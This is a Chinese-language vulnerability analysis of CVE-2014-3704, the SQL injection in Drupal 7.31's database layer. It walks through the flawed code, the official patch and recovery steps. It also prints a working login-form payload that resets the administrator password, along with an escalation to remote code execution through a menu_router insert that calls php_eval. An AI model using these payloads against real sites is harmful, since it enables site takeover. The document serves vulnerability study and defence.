DRUPAL-PSA-CORE-2014-005 && CVE-2014-3704 Drupal 7.31 SQL Injection Vulnerability /includes/database/database.inc Analysis
目录
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
Use Drupal to build everything from personal blogs to enterprise applications. Thousands of add-on modules and designs let you build any site you can imagine. Join us!
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成
Drupal诞生于2000年,是一个基于PHP语言编写的开发型CMF(内容管理框架),即: CMS + Framework
1. Framework 它由2部分组成 1) Drupal内核中的功能强大的PHP类库和PHP函数库 2) 在此基础上抽象的Drupal API 2. CMS HTML+JAVASCRIPT+CSS
Drupal的架构由三大部分组成
1. 内核 2. 模块 3. 主题
三者通过Hook机制紧密的联系起来。其中,内核部分由世界上多位著名的WEB开发专家组成的团队负责开发和维护,drupal的这种面向对象的集中实现化的机制为开发者开来了极大的编程体验的提升,但同时也引入了一个风险,一旦这种底层的、内核的实现路由上的某个节点出了漏洞,权限漏洞、或者例如sql注入的边界检查缺失,则造成的影响将是全系统的破坏
这次的Drupal发生的高危SQL注入漏洞就是源于这个原因,因为发生漏洞的位置处于Drupal的内核区域,虽然是WEB应用,但是我们可以理解为处于一个高权限的代码区域,在这个逻辑层面发生的SQL注入可以导致很高权限的代码执行
A vulnerability in this API allows an attacker to send specially crafted requests resulting in arbitrary SQL execution. Depending on the content of the requests this can lead to privilege escalation, arbitrary PHP execution, or other attacks.
Relevant Link:
https://www.drupal.org/PSA-2014-003 https://www.drupal.org/SA-CORE-2014-005 http://www.oschina.net/news/56637/drupal-security-hole https://security.berkeley.edu/content/critical-drupal-7x-sql-injection-vulnerability-cve-2014-3704 http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704 http://www.freebuf.com/vuls/47271.html
2. 漏洞触发条件
POST /drupal-7.31/?q=node&destination=node HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/drupal-7.31/ Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 231 name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
3. 漏洞影响范围
0x1: 受影响的版本
Drupal 7.x - 7.31
4. 漏洞代码分析
0x1: 导致SQL注入的代码分析
下载Drupal 7.31的源代码进行分析,产生漏洞的源头在"/includes/database/database.inc",从架构上来说,这是Drupal的"内核"
/** * Expands out shorthand placeholders. * * Drupal supports an alternate syntax for doing arrays of values. We * therefore need to expand them out into a full, executable query string. * * @param $query * The query string to modify. * @param $args * The arguments for the query. * * @return * TRUE if the query was modified, FALSE otherwise. */ protected function expandArguments(&$query, &$args) { $modified = FALSE; // If the placeholder value to insert is an array, assume that we need // to expand it out into a comma-delimited set of placeholders. /* array_filter can Iterates over each value in the array passing them to the callback function. If the callback function returns true, the current value from array is returned into the result array. Array keys are preserved. array_filter($args, 'is_array')起到过滤器的作用,从$args中剥离出"数组"的部分 */ foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); /* 这行代码是导致漏洞的关键点: 1. 没有对array的key、value进行"参数化纯净性验证",导致黑客在key中注入了可执行代码,对即将执行的sql语句进行了污染 2. 即没有将输入的值强制限定在程序预先设定的可接受的值范围内 */ foreach ($data as $i => $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate // a duplicate key. We do not account for that as the calling code // is already broken if that happens. $new_keys[$key . '_' . $i] = $value; } // Update the query with the new placeholders. // preg_replace is necessary to ensure the replacement does not affect // placeholders that start with the same exact text. For example, if the // query contains the placeholders :foo and :foobar, and :foo has an // array of values, using str_replace would affect both placeholders, // but using the following preg_replace would only affect :foo because // it is followed by a non-word character. $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query); // Update the args array with the new placeholders. unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }
从expandArguments函数中我们可以看到,代码没有对key、value同时采取"参数化纯净预处理",导致黑客在key中进行了代码注入,而之后这个key又被带入了sql语句的拼接中,这也正是drupla提供的一个DB PDO抽象函数,方便程序员使用array数组的方式进行sql查询语句的拼接,但是问题就在于drupal在处理这个input array的时候没有进行必要的处理
我们继续回溯代码,找到调用expandArguments()函数的代码路径
/includes/database/database.inc
.. public function query($query, array $args = array(), $options = array()) { // Use default values if not already set. $options += $this->defaultOptions(); try { // We allow either a pre-bound statement object or a literal string. // In either case, we want to end up with an executed statement object, // which we pass to PDOStatement::execute. if ($query instanceof DatabaseStatementInterface) { $stmt = $query; $stmt->execute(NULL, $options); } else { $this->expandArguments($query, $args); $stmt = $this->prepareQuery($query); //程序在这里将被污染后的sql语句直接带入了数据库执行逻辑,导致了sql注入 $stmt->execute($args, $options); } ...
了解了代码层面的原理之后,我们来看看实际的攻击载荷
name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3 &name[0]=test &pass=shit2 &test2=test &form_build_id= &form_id=user_login_block &op=Log+in
attack payload将管理员的密码修改为一个预设的密码,这个密码可以自己本机生成
/includes/password.inc
这个文件中就是drupal对密码加解密算法的一个实现,它是一个对称加密模式,我们可以复用它的代码实现一个密码生成器
0x2: 基于这个SQL注入衍生出的callback漏洞分析
我们已经知道了Drupal的这个抽象PDO API存在SQL注入的漏洞,它可以直接导致的一个结果就是黑客可以通过这个漏洞进行"多语句SQL执行",进行进而向数据库中添加任意的记录(实际上是执行任意的SQL语句)
在多数情况下,单独的一个漏洞也许并不能真正对WEB系统造成实际的攻击,它们很多时候只是语言的一个"特性",例如php的callback回调执行机制,它是php的一个特性,单纯就这点来看并不能称之为一个漏洞,但是在这个CVE的场景下,当它和SQL注入结合在一起的时候,就会升级为一个RCE远程代码执行漏洞了
mixed call_user_func_array ( callable $callback , array $param_arr ) //Calls the callback given by the first parameter with the parameters in param_arr. http://cn2.php.net/manual/en/function.call-user-func-array.php
利用漏洞挖掘的"敏感函数点调用源回溯"思想,我们对drupal的代码进行一次审计,即搜索在哪些文件中调用了call_user_func_array这个函数
定位到/include/menu.inc这个文件中的menu_execute_active_handler()函数
function menu_execute_active_handler($path = NULL, $deliver = TRUE) { // Check if site is offline. $page_callback_result = _menu_site_is_offline() ? MENU_SITE_OFFLINE : MENU_SITE_ONLINE; // Allow other modules to change the site status but not the path because that // would not change the global variable. hook_url_inbound_alter() can be used // to change the path. Code later will not use the $read_only_path variable. $read_only_path = !empty($path) ? $path : $_GET['q']; drupal_alter('menu_site_status', $page_callback_result, $read_only_path); // Only continue if the site status is not set. if ($page_callback_result == MENU_SITE_ONLINE) { if ($router_item = menu_get_item($path)) { if ($router_item['access']) { if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; } /* 这里是漏洞利用的关键代码,call_user_func_array接收了$router_item的两个参数,如果我们可以控制这2个参数,就可以达到rce的效果 */ $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']); } else { $page_callback_result = MENU_ACCESS_DENIED; } } else { $page_callback_result = MENU_NOT_FOUND; } } // Deliver the result of the page callback to the browser, or if requested, // return it raw, so calling code can do more processing. if ($deliver) { $default_delivery_callback = (isset($router_item) && $router_item) ? $router_item['delivery_callback'] : NULL; drupal_deliver_page($page_callback_result, $default_delivery_callback); } else { return $page_callback_result; } }
注意到代码中的 $page_callback_result = call_user_func_array($router_item['page_callback'], $router_item['page_arguments']);
call_user_func_array接收了$router_item的两个参数,如果我们可以控制这2个参数,就可以达到rce的效果,而$router_item是通过 $router_item = menu_get_item($path) 赋值的,那应该怎么做呢?
我们继续溯源menu_get_item
/** * Gets a router item. * * @param $path * The path; for example, 'node/5'. The function will find the corresponding * node/% item and return that. * @param $router_item * Internal use only. * * @return * The router item or, if an error occurs in _menu_translate(), FALSE. A * router item is an associative array corresponding to one row in the * menu_router table. The value corresponding to the key 'map' holds the * loaded objects. The value corresponding to the key 'access' is TRUE if the * current user can access this page. The values corresponding to the keys * 'title', 'page_arguments', 'access_arguments', and 'theme_arguments' will * be filled in based on the database values and the objects loaded. */ function menu_get_item($path = NULL, $router_item = NULL) { $router_items = &drupal_static(__FUNCTION__); /* 这里是代码的关键,我们输入的$_GET['q']控制了最终的$router_item */ if (!isset($path)) { $path = $_GET['q']; } if (isset($router_item)) { $router_items[$path] = $router_item; } if (!isset($router_items[$path])) { // Rebuild if we know it's needed, or if the menu masks are missing which // occurs rarely, likely due to a race condition of multiple rebuilds. if (variable_get('menu_rebuild_needed', FALSE) || !variable_get('menu_masks', array())) { menu_rebuild(); } $original_map = arg(NULL, $path); $parts = array_slice($original_map, 0, MENU_MAX_PARTS); $ancestors = menu_get_ancestors($parts); /* 在menu_router里查询我们输入的$_GET['q'],然后返回所有字段 */ $router_item = db_query_range('SELECT * FROM {menu_router} WHERE path IN (:ancestors) ORDER BY fit DESC', 0, 1, array(':ancestors' => $ancestors))->fetchAssoc(); if ($router_item) { // Allow modules to alter the router item before it is translated and // checked for access. drupal_alter('menu_get_item', $router_item, $path, $original_map); $map = _menu_translate($router_item, $original_map); $router_item['original_map'] = $original_map; if ($map === FALSE) { $router_items[$path] = FALSE; return FALSE; } if ($router_item['access']) { $router_item['map'] = $map; $router_item['page_arguments'] = array_merge(menu_unserialize($router_item['page_arguments'], $map), array_slice($map, $router_item['number_parts'])); $router_item['theme_arguments'] = array_merge(menu_unserialize($router_item['theme_arguments'], $map), array_slice($map, $router_item['number_parts'])); } } $router_items[$path] = $router_item; } return $router_items[$path]; }
在这个函数中,我们看到几个关键点
1. 我们的输入$_GET["q"]可以控制$path,进而控制$router_item最终获取的值 2. 在 menu_router数据表 里查询我们输入的$_GET['q'],然后从返回所有字段
继续回到上层的调用函数menu_execute_active_handler()中
if ($router_item['include_file']) { require_once DRUPAL_ROOT . '/' . $router_item['include_file']; }
这里又根据刚才从数据库中查出的$router_item["include_file"]进行文件引入,紧接着取出router_item中的page_callback,带入call_user_func_array执行
分析至此,我们来梳理一下这个代码漏洞的攻击流程
1. 程序根据用户输入的$_GET['q']作为条件在"menu_router"数据表中查找对应的记录,并将所有的结果都返回回来
2. 而通过drupal的SQL注入漏洞,我们可以向"menu_router"数据表中插入任意我们需要的记录
3. 在向"menu_router"数据表中插入数据的时候,"page_arguments"这个字段一定要为null,这样根据PHP的特性,$router_item['page_arguments']就等效于$router_item[0],即返回记录中的第一个字段参数
4. 最终的RCE执行点在menu_execute_active_handler的 call_user_func_array($router_item['page_callback'], $router_item['page_arguments']); 中 也即 call_user_func_array($router_item['page_callback'], $router_item[0]);
5. 我们需要利用PHP的这个callback回调进行代码执行,也即我们需要构造出这样的代码场景 call_user_func_array("php_eval", $router_item[0]);
6. php_eval这个函数的实现在"modules/php/php.module"目录中,我们需要将它引入进来
综合以上分析,我们可以得出以下结论,我们需要在"menu_router"数据表中插入一条这样的数据才能满足攻击条件
insert into menu_router (path, page_callback, access_callback, include_file) values ('<?php phpinfo();?>','php_eval', '1', 'modules/php/php.module');
可以看到,path = $_GET['q'],$_GET['q']即我们需要执行的代码,同时也是数据库查询的关键字索引
path 为要执行的代码; include_file 为 PHP filter Module 的路径; page_callback 为 php_eval; access_callback 为 1(可以让任意用户访问)。
访问: http://localhost/drupal-7.32/?q=%3C?php%20phpinfo();?%3E
Relevant Link:
https://www.drupal.org/project/drupal http://php.net/manual/en/function.array-filter.php http://cn2.php.net/manual/en/function.array-values.php http://www.91ri.org/11074.html http://www.freebuf.com/vuls/49148.html http://www.beebeeto.com/pdb/poc-2014-0100/
5. 防御方法
0x1: 代码修复
1. 直接使用官方补丁进行修复: https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch 2、升级到 Drupal 7.32 https://www.drupal.org/drupal-7.32-release-notes
code
diff --git a/includes/database/database.inc b/includes/database/database.inc index f78098b..01b6385 100644 --- a/includes/database/database.inc +++ b/includes/database/database.inc @@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO { // to expand it out into a comma-delimited set of placeholders. foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); - foreach ($data as $i => $value) { /* array_values() returns all the values from the array and indexes the array numerically. array_values($data)将数组的值单独剥离出来,组成一个数字索引的新数组 */ + foreach (array_values($data) as $i => $value) { // This assumes that there are no other placeholders that use the same // name. For example, if the array placeholder is defined as :example // and there is already an :example_2 placeholder, this will generate
整理后
/includes/database/database.inc
protected function expandArguments(&$query, &$args) { $modified = FALSE; foreach (array_filter($args, 'is_array') as $key => $data) { $new_keys = array(); //foreach ($data as $i => $value) { foreach (array_values($data) as $i => $value) { $new_keys[$key . '_' . $i] = $value; } $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query); unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }
代码修复的核心思想就是对input array进行了key卸载,将输入值强制限定在了原本程序预设的可接受的值范围中
0x2: 脏数据回滚
对于这种漏洞,除了进行代码级漏洞修复之外,还需要进行脏数据回滚,因为黑客可能利用这个漏洞对目标网站进行SQL注入攻击,污染了数据库,因此要通过backup roll back进行脏数据修复
1. Take the website offline by replacing it with a static HTML page 2. Notify the server’s administrator emphasizing that other sites or applications hosted on the same server might have been compromised via a backdoor installed by the initial attack 3. Consider obtaining a new server, or otherwise remove all the website’s files and database from the server. (Keep a copy safe for later analysis.) 4. Restore the website (Drupal files, uploaded files and database) from backups from before 15 October 2014 5. Update or patch the restored Drupal core code 6. Put the restored and patched/updated website back online 7. Manually redo any desired changes made to the website since the date of the restored backup Audit anything merged from the compromised website, such as custom code, configuration, files or other artifacts, to confirm they are correct and have not been tampered with.
Relevant Link:
http://help.aliyun.com/view/11108300_13852287.html
6. 攻防思考
针对这种注入漏洞已经衍生的callback RCE漏洞,最好的防御思路就是"参数化防御",由于PHP这种动态语言本身的特性,导致在代码运行中,本来期望的是整型,结果却被注入了字符并正常执行。安全审计人员应该在一些敏感的函数点执行前对相关的数组、变量进行"强制参数化防御",即将输入的值强制限定在一个可接受的值、可接受的变量类型。这也可以从根本上防御一类变量初始化导致的代码漏洞
Copyright (c) 2014 LittleHann All rights reserved